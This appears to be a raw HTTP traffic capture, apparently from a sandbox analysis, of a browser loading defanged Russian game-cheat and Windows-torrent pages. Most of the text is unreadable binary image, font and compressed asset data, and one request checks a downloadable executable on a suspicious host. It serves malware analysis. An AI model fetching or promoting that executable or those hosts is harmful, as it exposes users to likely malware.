.I..!......-.....a....-...&..A._...%.WTT........Q]U....g.....K......k....4...]..........OB. ].q|......g.>..4p6i $`....W.|..n....07$fl....$.........".....d....K.g.....f.47.5yq......$..H...Tl

<<< skipped >>>

GET /i422/1508/15/de18c106edda.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s017.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 11 Aug 2015 23:07:41 GMT

Accept-Ranges: bytes

ETag: "c0a726868ad4d01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=2a214f91f2746f76; expires=Mon, 16-Sep-2030 21:04:16 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:16 GMT

Connection: close

Content-Length: 158211

.PNG........IHDR....... .....(.qp....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^...x\..=n[..$..,fff.-..(...eff........05m...m.}...............s.......d9q.......0...a..{..........?....z~=O....<..'...z.......7.W.... .._...~.:}..||z.....'.?...}...........g......=.@.;...t.;....._...M.o..._..b.....}.....Z.....m.L...>.6M..yL..y../.....;...C.I.. R..qi{./...........<..w..}.......i{......b..15..k..UV}.?{.......k??X..u..?....Y..x[...%... ../z..r.............{.......jj.}.....w'M...]...~M....KBF....I..6H..d.......t..m..I.>./.V."./.F.=.[.........z........Oi{.w...oK.k..7..}.......!....A.G...z....o....Uh...U...\~Uf....}.5.~.I....J....m........=*.~.Q.......Fg@...~&111r....,.../....z..O. ...}~..5o..L.{I.....=z^...# ...4.xP...]..Od....W~/.....8|Y&.|PZ_.WY............/K..[Y...e.c?P.B...{......._w........'~.Z.K........~.....Z..[_..,...J.....=~.|{.z....]~|...UU%.N........3S..?'.e.z..GB...n.w`.[. ..=..nz]..:'...#s.<%...%..z[j.......m.d..g.~..i<..,y..R...L9.......o. s.x_f.}B.6...#...7................H..[...R.8W..fK3L.k...v..*h...~O.....U.{...........7u.PC...m......-\(_ihp..o|..r..O..m{.olb....c...o.w....).O.[j...I._.Y......e.#?.../..]..n..2........y......@....L..Yj.\....d..E...C...Y..yJ..xJZ_.{..~.....D=.t.`...d...Tm%.b.=_j../...{.~..~.|k|..G..6h.......q.nS..?m*.i...... .-m.....4......>...{....j7.;..Y.._d|.2i<..,..I)..WZ_....;-..\.z.........&sO=.M.]i.z.L>t.L.y..8..4.~P....4..$...$...1|.=.....f....%JS......j....*..........;5e.Ac..V/.7....7.c.....S'K..~a.............T.

<<< skipped >>>

HEAD /mywork/AVTOVISTREL.exe HTTP/1.1

Accept: */*

Host: VVV.iammaddog.ru

HTTP/1.1 200 OK

Server: nginx/1.5.10

Date: Thu, 17 Sep 2015 03:04:05 GMT

Content-Type: application/x-msdos-program

Content-Length: 956928

Connection: keep-alive

Keep-Alive: timeout=15

Last-Modified: Sat, 22 Nov 2014 08:58:14 GMT

Accept-Ranges: bytes

GET /i640/1508/b0/729c4064319d.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s019.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Wed, 05 Aug 2015 15:00:56 GMT

Accept-Ranges: bytes

ETag: "42401e888fcfd01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=c342bc2668ad31dc; expires=Mon, 16-Sep-2030 21:04:11 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:10 GMT

Connection: close

Content-Length: 67441

.PNG........IHDR...>..........B.2....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^...t......$...$&.@0...n)7A.r..\T...PQQZji-..C.................vl.zZ.z..cwP.U.E.....\..Vq..Ku.......>OB.u...=;c...y..}.k......su...W((..%..o]..ov...[..].v..-{....j....8._..e.v.s......].u ......uw.u.[..g?.c..................X.|....[.<.%t.G.O.c....g.~V`.`.........t.x.........k..;....k.........!.v.Ys.x~...{...?...X.s.o......s.\........s.............'./...{._a......o...._P...^q.~..>.U.e...o$...~..@.._G.....%.....r..n.....D.|E..?:....6..3..5.?n./.......},.?.W2..&.w..'>...#{M...9......&.W4...M..l`(...Jk...Uz.3$m....:...........m..?y .;L....v-..%T.?..~.4..=t...-..V....U.#.}..._.....w..w|.3a.uW.Y...k..2<..u...p..V.m.o....!l.....c......0...p.- ...}}X..e.m....hz.A#'........0..?5,.|q..<&L.37L.;/..63..6NO..m{...C...a...a.....j?0&T....7...Z.. u..t.......{}....a.5.........2{.......|.d._......`.o`(.g.......P\......4....u.{....... .W..i..=.o.......i....5....ky.Z..k.>.}<.Y....<._W....g..{..t.._iMs.r..0o...0b............Eg.....w..Y...U:f?....[BQ.z.gy..p...C...v.Eg...jr.d...&]. !H.P....G...>8^..W.h.]..u.V.j.....Z......[..*..6.......W....5..E..fc......'.....4..9G.`..?...........~...t?....Z&Z....}...{.M..........~..%.....T.....\ ...q.[Y..\ .;*.Z......M'....o.....1.*.b..4.].n.....^.~B...U..k..n.^....&....Ho..J.H.nh].....x{P...i....0|B......h......=....<.S5.f.e..#4.:..0b.u......z]..F.?J..........^...p....6?v.u...7.....>...o.?..xx.....u........_.a@...o......?}....~........[wUX..b.

<<< skipped >>>

GET /style/css/styles.css HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/css

Last-Modified: Sun, 17 May 2015 14:42:06 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"5558a8be-51b7"

X-Powered-By: PleskLin

Content-Encoding: gzip

10f9..............ko..... .8.M. Y....P.M..-."h... .f..]... i.v...r.oI.%.]V3....pH........e................-.H.m....O._.(q.].?...;t......([..9^..9^T._.vM.).d .%..wq.7....tw.cS?........../...-.,]...8??.x.......0<U..m..xB..g[...w.......@.......Q.....SW}.......:u.)..f..........0,o>..:....T.I......:...{wM=$;|,..;.......Z[\.e.O...C..}.69..n....J......7..*......]..z*.... ......#..eMe. @....e...=.L...p.....HE....J.. ..G ..l....j.....=...d......pU...9H.R....j....= .....(c./.....c...TX....&..w@..I.O......!n..$...h\=..T..mEv.p.1.I.r.P.S..I...*P.....y(.K0G@.....*1.X..K(......CJ.j..#L....ah...[`..y..F.....B...&?.&.T..r.. ...?..g.......m.."..er...t..,.V.....U......Q!T0..nNmE..s .Cr<........Xw...6Ow..o.W....Z.._.L;]1..t..S....3.U..n.m....^...t..)..A..0,12M#z..`............&W./.v....t....v..fmBtT:..vu.f.....N.0...J..S{(a3%b.....Cs.3...ev.}.T4.c.,..\H....}....L7>P..e....5.....a..e...........K.&.I..E.p...&.B....t{0"..S7..MgA.]<..U........\.sxf(,Sp......4.i.?oq........[P...#.z]1..6/.#uO......].{.....f@*...8......g......1y(..p..o..|My..: ..\.'.x/.S...9..E...kZ.p.63A.1......0Mzh...<.4...[~.pO.I..u ..6}90..oA=.0Z ...X.O=..;8U...q..!.. .y_...D..L'y.J.....~2..6....a.P..L.g...v..eTImp...\r$}..gd...........j...........&.Ey..~...L.....)...r.,}qtI.iu.y.....c......B..g.k$pU..6X...........<01..ay....,.Gg..(?...T....'98dqE.a...~c}9Oa].-8...3......4.T..e.J..r5i\...VM.I8..0.,.K.................3.....yx...1.q>......\.......(.^2.....3Qf../.....K..'".ZXO.C...-.M.f6....-t..j..~_.8]P..o ."...d....]I.......|..i..w.w......AA.N

<<< skipped >>>

GET /style/css/rgba-fallback.css HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

ETag: W/"1fc28b6-3cf-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

GET /style/fonts/glyphicons-halflings-regulard41d.eot? HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: application/vnd.ms-fontobject

Content-Length: 20335

Last-Modified: Sun, 17 May 2015 14:11:14 GMT

Connection: keep-alive

ETag: "5558a182-4f6f"

X-Powered-By: PleskLin

Accept-Ranges: bytes

oO...N............................LP..............................................(.G.L.Y.P.H.I.C.O.N.S. .H.a.l.f.l.i.n.g.s.....R.e.g.u.l.a.r...x.V.e.r.s.i.o.n. .1...0.0.1.;.P.S. .0.0.1...0.0.1.;.h.o.t.c.o.n.v. .1...0...7.0.;.m.a.k.e.o.t.f...l.i.b.2...5...5.8.3.2.9...8.G.L.Y.P.H.I.C.O.N.S. .H.a.l.f.l.i.n.g.s. .R.e.g.u.l.a.r.....BSGP..................v..5v.5|.-\.....`.W.hKqJ.x"U:r,/.4\.....li..........E.LFM......V(g.W...\.. rK0.Q...3-O>.C..d.g.e}\.4..[Dd....p.WQ..@...J[...M......UA.......j...p..`k.*C.I4.....o.\....w...fv..XD..lB...g1.[/a.....2.l..E......2....g2.9.M.........z.GDUB....A.$L..}X..f.z;N2.._....;(.k..@B[.!.6P.3.G...E..].{...JW/s..4.%.........._..}.}c.O-4lP.aDX..[...q.v....*.X,.u.*......z.3JL..}..0.....VjUyjn.).....O0;.0!.-!r.....".&b...bl,-`.Q...|/^...L....V..R.uz....I........!...k.&)J{.t.S?...iS....diVD.1w b..]...D.*.%qs.PD....x......p.EG`... .w:.V..*X<[..l.....M.............S.h...qk.."...J ..MT6. c..k.a.z...n..q..m0..pDJ..v.........F.v.(.S..(....MI...F.....K..m<H......q~|M.X.`~Is...."...;.#.8....x.... ........m`.....-I.`.>."...=...-..B(>..Qe.Yeg....7....._.j.&L.K..9zR.u.C.......R...&B.0........._....C_......{4.W?..N..."$..#..D....:J4../.......G..J;].w...d..:.H9........[..*..K...#.8A$a`]..-TE7...$.:.sp..f.L$}Z....b].b.6....H....rx-t....jViMj..N^[...8..>Cn7L....& 3W6.G<.B...O....2A:.....K..='.=.J...B..h.2.."d........... .O<i........Kp.i,...V..N.^..4Rhx.-...BS.....[9U. "An....oh ..F....1......r<~{N..9...4rI.....U.`p..zt......m..g.u..;..Z...|8D...S..M.K;...........@~.%....xv@A

<<< skipped >>>

GET /style/bg/blurred-background-1.jpg HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 548727

Last-Modified: Sun, 17 May 2015 18:06:41 GMT

Connection: keep-alive

ETag: "5558d8b1-85f77"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C.......................................................................8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...}*S~..1.......VG.t......5.w^...on....bee.........9..t(...u..\y ~.......kMU...`}.w.qU..e....]..(.......l.A....Y(...c.7.9..Z2G..C...&.6pk........E^.._.d<........y5(.>Y;3..UO...<rA..=:.]H..c.......... ?S.v.,..NH...R.Qz.P.rF9g ....-.......E.H...._...f...;....\.f.....V.l.u$.Q.eP....3M.`..:..k...-....s.zT...p..B#.....)...W.{g.n...7.A!.H8&..e.....Y}A..(RC|....].=.z3..}........BD...@..Q..9B...~i....8..9.....RIjk...$.X..rL.Hy.'.C...A.<..8...>X( ....Z-K..[..E........}.*.....B.B._Z}..g5.F.h^RS...*...@F1.S..K...V.@....R..}D.-(..8.J......Dr.....2h.L[..sB..N%%.....him.....rN{w.q....G#....Y;o...8!G...).5.I..0..>.cU....r.=*=...#.0...I.....2x>...1.h.....Gn FYC......U.....?;.j.v.......H..Q^..N....Sq{.c..O'.....i.....<...r:...B..<.,..1 ......Y..)....T6. Z._;.$.y...-...*.$...BV..;.t.p....wn=.~..X.Ic.@...x.2...m...'..s.>.!...h..S

<<< skipped >>>

GET /style/images/warface.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 9618

Last-Modified: Mon, 18 May 2015 16:18:03 GMT

Connection: keep-alive

ETag: "555a10bb-2592"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...<...<.....:..r..%YIDATx..{.x.g....=....{....w". !.,H Xp)A.-...(....t ....n..E..g.!.n.........O.k.|..}.g...g.7......O.dMM.Ryy.nbb.nww....."=/...IL......) jdF222......x....................g.......9.......k..1C~.;........( ....m...................T$%.....uuuHIIA||.xBB......CCC.zzz6:::.....ikk .w..4T&/:........%/. .. ...`.....BSK.Z[..h.B..]...A,\..]......u...w.^...Cvv.DLL.W...'.......|..S../.....v#k$.g...~ ..... W....*....j.lT..FhD.\=<....Y....5KX..]X\..;v....X.x..|@@.BBB...I.......5U..b.XRR.LII.y.........A............/...eX=....@}c#2...%.$#8,...,*6..yy...6m...a47........ .....1.Uz..b.../....,Q7..:B..k.jkk................u{....e..x`.......Fqi).........(....SS....Jb.<.LCc...f.......***...........".O..TZ.....*y.@^^.....#J*066......~x./..O...Gk{;(#...EE...DDL...F@}..~.AHLNF(....."......R2....;...A..ZZZ.D(..u'....f.ihh..w.3-YY.f..k.n.=.;...(.A..W._&.?%....{z.O`9N9~...]..`.:$<...iWOO... )-..MMX.r.Hj.w..M.....t....@.B\..N...)o,.....AkQ...]....8{....Vhhh....}.....^......c...>.m......q.....(.d..fp.%%.........[.SO..d.dc..^l....xj...f7.. ....bs..`..|........}..,..D...{.bg.w...oUUU..0EtJ...<....b.....W.^..f.1...l..9vV<........LsNb.... .)........8..g.`....m....<.05...5.h]..?.!..%.......SA_v.d.8%).....DeCkG..gahd .............~.;...mm...%.PV^.R22.I K..QQU%..G...;..SN~>.;:DH..2u..W.........m../m........C..6I...U.~Z...)X)..K.}.E....,.IQI.....K.ERq...r.{..."*?..3x..i\.p.cO=....DR....G.nlnFBb.......c...h.........."..j....p...p..[...DVK?.:..V7.(..v..fO..LPy.Ak.fG.....%.G..!ID../....K

<<< skipped >>>

GET /style/images/steam.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 8399

Last-Modified: Mon, 18 May 2015 16:21:33 GMT

Connection: keep-alive

ETag: "555a118d-20cf"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...<...<.....:..r.. .IDATx..[.xU..}.@..qww..w..(..H.$.(.%.......C h.N.R....tJ_....Rr.....P{}..M......\9w...........x..K.#......anllladdd%.................!..O...D...u.;;.q.................V............A...|....j..?M^...W.^...........".~.......Fhh(.......f...y....i......i..........@...P~...5..D.~...\.....nZD..E./<<<......X...C.;88.F...333.L.A.....>.....-Z.M.6/Z.ju...EGGw.......I.N.F..H...]ccc.L.N.DHH...`...Q.g.$.spp..........lo..k................0....gT}.......o.zC.....__D..0.....T..........U........n..!...i..S.UO.5[?c.\..Yst......._... ]..]ta..:;{{.|_..c............vSY..TB..S....:C...q....THO..............-].Rw.........?z.' ...i..=.......^...;P].tYu.....=zU...V..z......Y.a.....Sm).....si.'.9...,D....V..u..A......e...sgq..%\.~..o...{.q........>..Z|L....Oq..}.....g.[..w.._...T....R...3t...ZXX.ik.C.u.h.3.*../.=....K...V..........6X.r.r}..C8q../p..i.>w.._.. 7n....4.G..........cQ[A..........Y3...w.....S)N....^..%........?FY.. 6....v.....6$Y;......I.>u.....[q..a.>R.CU....*.....;..{.... .?q.4.... 7o...;....E^p..<I.....n.K.l..:..:8<...[....g....s#.>.. .Z....Iv.......'...T...Y......1.. vA.=XIr..........7`...X.a=.nX..~..l.q.V..{T..k.....`......A.o=x.Ji...w.z.~}....&...(U@\.IR..o....|.......Yv.i..DYILB...Zg.`.s.p........8x. ........a.:..z%J...d.b,Z.....a...(,*Da.".....t).n....O....q.....r..o...;..a-q.-.~...,..G?.hYu.n=^.................q.c.S.Y)7rr.. .......V.....%.8p..v.....6b..2,.).....7.........c.........L.N.E..).:s:f.."...o?.N.E...8z.}..t..>.....).oK..t...X..\?g

<<< skipped >>>

GET /style/images/other.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:09 GMT

Content-Type: image/png

Content-Length: 10065

Last-Modified: Mon, 18 May 2015 16:27:00 GMT

Connection: keep-alive

ETag: "555a12d4-2751"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...<...<.....:..r..'.IDATx....x.d..C......8v.......Br..I....{.......B.A.......X..r.o.3..?;...3......\............~TVV>.....J..Y...T..._^.|.........9U-.eW6..U..-...NNi..ye.g.J.v...W........................a...........lT...Z..z....nVU....6bKZ.(l!$....f.r..D`..`Qx^......)..?f..}.._T..[`......?5p..:.89...........m..........Ut<.)n#8.....\...Oi.&..eB.."..G....w..M.'.pIi.3..aPf.oQYe?&f..N..ML..X*./.....:...y\cK...........5.......o.#...d..S....N...p.k........F.6....&..T..4b...}b=..5.....D..~........Abb.....?.......Z.....Ng.t=.-m./...T....^d....X.....F...X...|...f....eP.....V....AH3 B..@.vd#...._.Sb.....;.I.Gb...#......|. .Z.....7.6t.K,. p.4E.Il=.a....g..=.......,.ff...Z..?.6f...:.9...A.....`NP...~ap.K.~....xET=.1.8%T..K..1,>.)::N.......lcc.........3.....6..U.....^...:...1...Y....mb.o3S}.....4.N..t............&f..h#3E...E....|p;..[Y".....oD?....*\.....f............N..[...T..S*...fl..PD...5.Z...:f.40.G.T.f...2E@..w15..i...&p..73=...![..g.>.L...^.ff.lbvp...]...`AH....BUr...E.`.[r.':.ZxTLv@@....l][....=.%...$.w<..Ra.[.fH5K....].L.Z.z70..I$.....N..w3.w.i!. ..n..........? ..Y.........*.E=t..!.......v...J....G...*.....m`Xd..........].E.]?'..?.Ho.$..5AU,..B...i.;...)...`..)...qu......[.5#l.@n.W....Y.;.-R...].Q.x.....oaN.f....t'..w{uh#...1.({...q30$2.......mmm..%.K...I(m{..6.F....d.w.....!....v0..D.`.J.N.3.@..[3.$..".?..........z.N..w2G....1..Q}.....>7|3...C..C.......t.j..E..w.O.:08<.?.....D}KGxYc....g..0..be@..}*Q..w}.......6...)4]R......t)D.%......3.p.....G..............fN..A...).g..

<<< skipped >>>

GET /style/js/easypiechart-data.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Accel-Version: 0.01

Last-Modified: Sun, 17 May 2015 14:11:19 GMT

ETag: W/"8eca20-281-51647a6bb49a1"

X-Powered-By: PleskLin

Content-Encoding: gzip

c7.................0....{....@E.;......v...vd.A.wwu"....@/.C.....HWZ.....]..E....Q....!h.,}.Xb.{....H..[mi.*..._.#...H.=...Q(@..n.!./...Y.s.)iJ.,..FXL..m....zc....k.5.....d.G.L,.....[\.....R.v.'...0.......0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: text/javascript..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Accel-Version: 0.01..Last-Modified: Sun, 17 May 2015 14:11:19 GMT..ETag: W/"8eca20-281-51647a6bb49a1"..X-Powered-By: PleskLin..Content-Encoding: gzip..c7.................0....{....@E.;......v...vd.A.wwu"....@/.C.....HWZ.....]..E....Q....!h.,}.Xb.{....H..[mi.*..._.#...H.=...Q(@..n.!./...Y.s.)iJ.,..FXL..m....zc....k.5.....d.G.L,.....[\.....R.v.'...0.......0......

GET /style/js/custom.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Accel-Version: 0.01

Last-Modified: Sun, 17 May 2015 14:11:18 GMT

ETag: W/"8eca1f-214-51647a6ae68c1"

X-Powered-By: PleskLin

Content-Encoding: gzip

123...............N. ....).m.$..]..^|.........6k.ww.....L..d2...7S2.Q...e.\h.Mg...lDE1..B7U.U..cVr<".Q2.T........`.lI...o.Y...]|..^...V.O.xUc|..@kR....Ee.f.....).Y.u....)1R.s.|..Z..D..J....ID....xE......p.f]4!.....8=.&..V.Ki^.F......a.u'[..._..s..#...q....n..s.K.X......r4q./..G...........L........0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:11 GMT..Content-Type: text/javascript..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Accel-Version: 0.01..Last-Modified: Sun, 17 May 2015 14:11:18 GMT..ETag: W/"8eca1f-214-51647a6ae68c1"..X-Powered-By: PleskLin..Content-Encoding: gzip..123...............N. ....).m.$..]..^|.........6k.ww.....L..d2...7S2.Q...e.\h.Mg...lDE1..B7U.U..cVr<".Q2.T........`.lI...o.Y...]|..^...V.O.xUc|..@kR....Ee.f.....).Y.u....)1R.s.|..Z..D..J....ID....xE......p.f]4!.....8=.&..V.Ki^.F......a.u'[..._..s..#...q....n..s.K.X......r4q./..G...........L........0..

GET /templates/torrent-windows/style/styles.css HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/css

Last-Modified: Sun, 09 Aug 2015 15:28:34 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c771a2-f87c"

X-Powered-By: PleskLin

Content-Encoding: gzip

2589.............=k..Fr...........S"g`.|.s..8.n.\.. ."5..$*$../.....7[../.f.Y.....................~8z..;..W?..../?.^l...........i....C....x.WMY.y?.]_.u.V.....Tz..u..?....&...Z....A.]...no.M.Vy.w.c...|...a.}wj....A4^..~}............._l............}|...ms......A.HN......P..X.|]=4.w._...?v...l......C......b.m...;.........p..4%hq..o..~....6.B.}...mq[.........m??......X6....O..o.c3o.S....~_...:......Q.4{../V...?....r..i..&H}<..... ~..>..............hN...Aw.E. ..3......;.s...7.7...8.eY..@a.....O..=`.y.......c.[..v..P...6..........AX.s..~......c..v.l..v.l..v.9..x....x..W.x...Z.........c. ....~ .]....$\B&./B.EH^D.......AJ^$...c)....Ew..,...Yu`........|..}x DG.}..k6H_.M[V.0f9,....>~.....~^V`..}..Y..v.-....w)........^.k...jg...E.....w..~...yj.<AM...4........}......U#?..r..3{..m...n.....W..P/......U......1.]....0..x...bq.fhwK.].......,.........A.@.#EÂ.!K.....R.l.:.j.{...v..B..sL....`...lv..G..b..h.o..e....x/.*.u.z..Q.........]..K.E...(..'...h....k".D&.Z.........H.].....d.U......>.e../!.|.Y.k... ..>.8...h..5o..X@F:....Stx..#.5e.!..M..An.&.....%.5..\.......H..`./C.....Dg].G.......cO...1......t=....:..-`..TU.^iLC...<04.-h...<h.@..22.T.X.c.........^n...4.n.......M.....t...s...!.....ku$..<g.uc..../....[...3.Xh.U.j....[F^...6..v?..j{!U.C.....M....=#p}......9Z.`../.7P2.(..].......C...ZxTe."f...n...n...y\8..` ....~..>.?.....^..p..(..-..-;.......J........I..@...zK^.............w^.e.j.....X..q.(..^.K.B...9.=.......@.;.b..A...bA..1....#.-..4...^^.B......m.$.X..`8_...'..<.E&X:.Xy.6...^3.C..>*XWTv

<<< skipped >>>

GET /templates/torrent-windows/style/'reset.css' all HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

